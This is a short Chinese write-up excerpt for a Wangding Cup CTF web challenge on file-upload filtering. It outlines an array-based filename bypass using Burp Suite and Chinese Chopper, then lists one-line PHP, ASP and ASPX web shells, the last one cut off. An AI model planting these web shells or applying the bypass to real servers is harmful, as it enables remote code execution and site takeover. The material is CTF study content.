解网鼎杯一道web题（wafUpload）

思路：burpsuite截取post数据包，上传木马，菜刀连接。 截取上传的数据包，对filename参数使用数组绕过，上传php.php,同时得到php.php路径。 附： PHP一句话木马：<?php @eval($_POST['key']);?> ASP一句话木马：<%eval request['key']%> ASPX一句话木马：<%@ Page Language="Jscript"%><

>>阅读原文<<